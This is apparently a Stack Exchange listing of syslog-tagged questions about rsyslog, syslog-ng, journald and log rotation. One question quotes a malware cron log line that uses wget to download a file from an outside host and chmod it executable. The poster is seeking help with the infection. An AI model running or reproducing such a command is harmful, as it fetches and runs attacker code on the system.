Skip to main content

Questions tagged [syslog]

syslog is a standard (RFC 5424) for message logging. Use this tag for syslog logging related messages. For generic logging messages use [logging] instead

Filter by
Sorted by
Tagged with
1 vote
1 answer
36 views

How do I change the date/time format in syslog-ng from `mmm [d]d hh:mm:ss` to `yyyy-mm-dd hh:mm:ss`?

I noticed that the default datetime format for logs in /var/log/messages is mmm [d]d hh:mm:ss, for example: Jan 4 03:46:50 1.2.3.4 ntpclient[6952]: Failed resolving address to hostname pool.ntp.org: ...
skeetastax's user avatar
0 votes
2 answers
31 views

How do I check which conf file was loaded by syslog-ng when starting?

I am running syslog-ng on debian. How do I check which conf file was loaded upon startup? Neither systemctl status syslog-ng nor systemctl show syslog-ng tell me.
skeetastax's user avatar
0 votes
1 answer
41 views

rsyslog variable from mmnormalize as part of omfile filename

I have a log line that looks like this: May 20 10:25:42 192.168.20.100 Timestamp="2024-05-20 10:25:42",LogId="535666280",NodeId="192.168.1.100",Facility="Packet ...
azzid's user avatar
  • 1,000
0 votes
0 answers
14 views

AuditD - tuning out parent and children

I'm reading over the AuditD readmes and I see how you can use filters but is there a way that you can tune out a parent and any activity they create along with their children processes? For example, I ...
Jason's user avatar
  • 1,744
-1 votes
1 answer
43 views

How to preserve log contents across reboots?

As far as I can tell, syslogd in its default configuration throws away all log data on reboot. I have observed this data on Raspbian (Debian Linux-based) and on OPNsense (FreeBSD-based). From my point ...
user149408's user avatar
  • 1,333
0 votes
0 answers
14 views

rsyslog service mulfuction after server reboot

We recently faced an issue with rsyslog service on CentOS-7. This server was running for like 2-3 years continuously and we rebooted it last night. Since then rsyslogs are not written. Tried steps ...
Sachith Muhandiram's user avatar
-1 votes
1 answer
39 views

Portable logging from Python?

I am writing a small plugin for Postfix using python and want to it to emit logging messages. I am not particularly familiar with python and was advised to use loguru. This was certainly easy when I ...
symcbean's user avatar
  • 5,687
0 votes
1 answer
17 views

rsyslogd v3.x.x unexpectedly closes write connection to named pipe target

I've configured rsyslog to forward certain log messages to a named pipe /tmp/logger.pipe. I then have a separate process reading from the named pipe. Relevant section from /etc/rsyslog.conf # Remote ...
Izzo's user avatar
  • 971
2 votes
1 answer
179 views

pfSense (FreeBSD 14.0) - Prometheus Node Exporter gives log errors - fix or suppress in log

On pfSense, I've enabled Prometheus Node Exporter, but it gives the following log errors each 15 seconds: Feb 15 09:53:57 vault node_exporter[25559]: ts=2024-02-15T08:53:57.164Z caller=collector.go:...
Artur Meinild's user avatar
0 votes
0 answers
34 views

What does rsyslog do if it fills up a named pipe?

I'm working on a C application that is intended to monitor and process the output of rsyslog. My research shows that a way to do this is to create a named pipe and then create a new syslog target that ...
Izzo's user avatar
  • 971
0 votes
2 answers
84 views

Root partition is running out of disk space due to too large syslog files

This is occurring while backing up whole drive with rsync. I'm trying to sync two large hard drives as a backup and I'm doing so exactly as described here using the Grsync GUI. While doing so I get ...
mYnDstrEAm's user avatar
  • 4,360
1 vote
0 answers
887 views

PAM - Disabling "check pass; user unknown" syslog messages

TLDR: We use PAM with SSHD. CentOS and Ubuntu exist in the environment. For every SSHD failure of an unknown user, it creates two messages. One of the messages doesn't provide the unknown username and ...
Top-Lunch-7931's user avatar
0 votes
0 answers
269 views

`smartctl` and `smartd` commands not working

I have been receiving hard disk warnings from the smartd daemon for a while now (every 24 hours), saying that my error logs have increased. I have been trying to examine this by checking my log files, ...
tobibox's user avatar
0 votes
1 answer
215 views

CAN'T open syslog

I had read that syslog is placed in a /var/log directory. But i can't open it in spite of the directory in PATH included. lm@debian:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/...
ant's user avatar
  • 29
0 votes
1 answer
1k views

Logrotation is not rotating logs each day

I am new to log rotation and have a syslog server that have been setup to recieve firewall logs over 514. Now, the firewall is generating A LOT of data, ~600-800GB/day and the servers capacity is 1TB. ...
phil_sw's user avatar
0 votes
1 answer
93 views

IPV6 local UFW BLOCK syslog

The log in syslogs is as follows: [UFW BLOCK] IN=wlan0 OUT= MAC=33:33:00:00:00:01:e8:48:b8:5f:a0:e8:86:dd SRC=fe80:0000:0000:0000:ea48:b8ff:fe5f:a0e8 DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=52 ...
Yeh acc's user avatar
0 votes
0 answers
38 views

PC's programs are running but no logs in any logging

I have 2 remote PCs (Ubuntu 20.04) that runs 24h everyday. Apart from the syslog, I can also check the logs that my application writes. There is hardware connected to the PC, that communicates with my ...
WJPING's user avatar
  • 11
0 votes
0 answers
685 views

Is rsyslog compatible with syslog-ng?

I am doing a project where the organisation uses syslog-ng for the central remote logging servers and this will surely not change. The application suite that I am developing on, is using Red Hat ...
user581894's user avatar
1 vote
2 answers
455 views

How to break syslog into smaller files without losing data

Here we try to break syslog file into smaller chunks. For that we use following script. #!/bin/bash date=$(date +%Y%m%d_%H%M) cp /path/to/sys.log /path/to/chuck/file.log cat /dev/null > /path/to/...
Sachith Muhandiram's user avatar
0 votes
1 answer
228 views

Split logging on rsyslogd

My goal is to send all logs to one source remote and still log local but then send all the AuditD logs to its own source on port 20002. But for some reason, my auditd logs are still ending up with my ...
Jason's user avatar
  • 1,744
2 votes
1 answer
64 views

Why is my CUPS printer stalling and failing for print jobs larger than 4 kilobytes?"

So, we have several Redhat Enterprise Linux servers for an internal application that we support in our team at the office. Among other things, the servers send "auto-print" reports of ...
Gael L's user avatar
  • 131
0 votes
1 answer
97 views

SFTP user login details real-time filtering

I have enabled the SFTP login log into the default logfile /var/log/syslog and tried to filter the login time of each user and insert into the database. But the filtering is not worked as I expected. ...
Amal P Ramesh's user avatar
0 votes
0 answers
107 views

auth.log file in bullseye os

I have debian gnu/linux 11 (bullseye), in which the /var/log/auth.log file only contains log of current boot and not any previous boots, I need it to store the logs of previous boot for verifying the ...
Jay K's user avatar
  • 1
0 votes
0 answers
78 views

Rsyslog imfile equivalent for Android non-root?

I am on Android 13 and use an app (not my app) that generates csv log files with tens of thousands of lines. I am trying to get these log entries to my central log server in the easiest and most ...
user avatar
2 votes
1 answer
88 views

rsyslogd sometimes doesn't write the initial bits of dmesg to /var/log/syslog

I have a Linux machine running Ubuntu 16.04.7 LTS that uses rsyslogd. My understanding of rsyslogd is that it rotates the content from the kernel ring buffer (ie, dmesg) to an on-disk file (ie, /var/...
Ken Lin's user avatar
  • 153
1 vote
0 answers
47 views

syslogd not ouputting year information

I updated busybox to 1.35.0 and had the same settings as earlier but for some reasons the syslogd is not outputting year in the timestamp information. Prior to this I was using busybox 1.19.3 and it ...
m4n07's user avatar
  • 191
1 vote
2 answers
981 views

Why all output of my C program directed to stdout is sent to journald?

I work on yocto based linux distribution. I'm no expert on systemd and neither on systemd-journald. My C program my_c_program is started at boot by the script my_script.sh. Below there is the file ...
User051209's user avatar
1 vote
1 answer
431 views

Missing early boot logs before busybox-syslog starts up

Problem: Kernel logs that occurred before syslogd starts up, do not get appended to my syslog. System Description: I have syslogd starting up about 5s into the boot sequence. I have a script that ...
SammyWammy's user avatar
2 votes
1 answer
493 views

Log particular systemd service logs only to syslog bypasing journald

For a while looking for a solution that with systemd tools will give me an opportunity to bypass the journal and log directly to syslog. Potentially that can be also filtered, but only on journal not ...
jareeq's user avatar
  • 123
2 votes
3 answers
546 views

How is syslog entangled with journald?

I set up my journald to limit the log size to 5GB in /etc/systemd/journald.conf and thought everything was fine. Then, yesterday, I realized that my /var/log/syslog file is in fact 12GB big. What I ...
flood's user avatar
  • 318
1 vote
1 answer
975 views

Avoid duplicating syslog messages into /var/log/messages and /var/log/syslog

I'm using the following rsyslog configuration file to redirect logs of a program to a specific file. # Name of the program set $.program_name = "myapp"; # Path to the log file set $....
Arkaik's user avatar
  • 1,168
0 votes
1 answer
69 views

found php malware detected on syslog

I have a malware which run every minute, i can see it from /var/log/syslog Feb 1 18:30:01 MENCH CRON[1768]: (www-data) CMD (wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd &...
Augusto Murri's user avatar
0 votes
2 answers
121 views

Log forwarding in partially disconnected client

Considering the following architecture: I have a laptop connected to a server over ethernet. This laptop is configured to send log events with rsyslog on the server, the server is configured to accept ...
Jaay's user avatar
  • 145
0 votes
1 answer
88 views

Configuring AIX auditing for rmdir and syslog collection

How can the auditing feature in an AIX Unix system be configured to collect information about the removal of a directory (though rmdir) and send it to syslog?
Tekkkee's user avatar
1 vote
0 answers
179 views

Is there a way to not log specific syslog messages?

For example I have the following: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=997) pam_unix(sudo:session): session closed for user root pam_unix(cron:session): session closed ...
Jason's user avatar
  • 1,744
0 votes
1 answer
101 views

Journald and Sources of Log Messages

I would like to know what process is meant to write Timestapms (and other parts of Log messages) in Syslog protocol. In other words, is it Syslog that sets timestamp of log message (exact time of ...
GabrijelOkorn's user avatar
1 vote
0 answers
165 views

klogd, dmesg and syslog(2)

I got quite confused reading manual pages of klogd, dmesg and syslog(2). I would like to understand how the message produced by the kernel gets to /var/log/file. First thing I would like to get to ...
GabrijelOkorn's user avatar
2 votes
1 answer
406 views

When I reconfigure syslog, my application logs don't follow the new configuration

I have a question about a syslog application. I wrote a simple program using syslog API. I compiled and launched the program. It works, I can see logs on the journal. However, when I reconfigured ...
Lioyerar's user avatar
3 votes
2 answers
6k views

How to setup syslog forwarding for systemd journal namespace

I have a configuration /etc/systemd/[email protected] which contains the setting ForwardToSyslog=yes and a systemd service unit configured with LogNamespace=my-namespace. The documentation ...
Aaron Enberg's user avatar
0 votes
1 answer
274 views

what's the meaning of ^@ in syslog

One physical machine had shutdown unexpected, there is no any error log about that, only get a large ^@ in one line of /var/log/syslog file such as: Dec 9 21:50:02 hostname CRON[74324]: (root) MAIL (...
VictorLee's user avatar
  • 125
0 votes
1 answer
767 views

Issue with uniqueness of the persist names in syslog-ng

I am new to syslog-ng and was trying to fix the issue of an error which arises due to uniqueness of the persist names in syslog-ng, I see the below error in my syslog err Error checking the ...
Manu's user avatar
  • 103
4 votes
1 answer
5k views

How can I use journalctl to time-filter and view non-journal files?

I'm trying to search through dozens of logfiles that were not sent to systemd-journald, and would like to filter the results by time, the way journalctl's -S (since) and -U (until) do. Option 1: ...
PFudd's user avatar
  • 173
0 votes
2 answers
379 views

Last logins during last hour

OK, so basically I'm trying to give a specific date and time and I want to see all the logins that were made during the hour range, e.g. last hour or two last hours from the time and date given. I ...
kuska's user avatar
  • 1
1 vote
1 answer
210 views

Ask syslog which log files it uses for which facilities

Regarding the manpage of syslog there are different facilities (e.g. USER). Depending on that facility log messages going into different log files (e.g. /var/log/syslog, /var/log/messages, ...). I ...
buhtz's user avatar
  • 875
1 vote
1 answer
50 views

How to differentiate scripts from humans when they do password-based ssh to my server?

How do I detect if a particular ssh login was made by running a script or was it a user who typed password? I want to detect script based logins. 'auth.log' doesn't give me this info. Is there any ...
sri's user avatar
  • 11
0 votes
1 answer
208 views

Finding the PORT NUMBER of the process using a specific PID?

I have a specific PID and my question is how can I know which port belongs to that PID. Any tips on how to know the port of a service that has a specific PID? Thanks a lot.
EuDaKi's user avatar
  • 1
2 votes
0 answers
626 views

/dev/log: Connection refused after boot, but only on one system

I have two systems running NVIDIA jetpack 5.0.2, based on Ubuntu 20.04. /etc and /boot are identical on both systems. On the first system, after boot, if I try to run logger I get an error /dev/log: ...
Jayen's user avatar
  • 211
1 vote
0 answers
237 views

Any way to change rsyslog configuration per user (for cron)?

I am a user without sudo on a CentOS 7 system running rsyslog. I would like to log my cronjobs. Ideally, rsyslog would log all my user's cron activity to somewhere like ~/log/cron. There are good ...
Jacktose's user avatar
  • 441
1 vote
1 answer
446 views

rsyslog config does not write to file

I just installed rsyslog on rhel8. So the /etc/rsyslog.conf file is stock. Here's my custom config: /etc/rsyslog.d/10-remote.conf module(load="imudp") ruleset(name="remote_udp"){ ...
itinneed2022_1's user avatar
1 vote
1 answer
1k views

Linux C | How can we redirect printf to syslog?

We are using printf till now and the output was coming to stdio. Now we want to remove it from stdio and put in syslog. I have a big code base and so replacing all the printf will not be a good ...
m Rout's user avatar
  • 11

1
2 3 4 5
9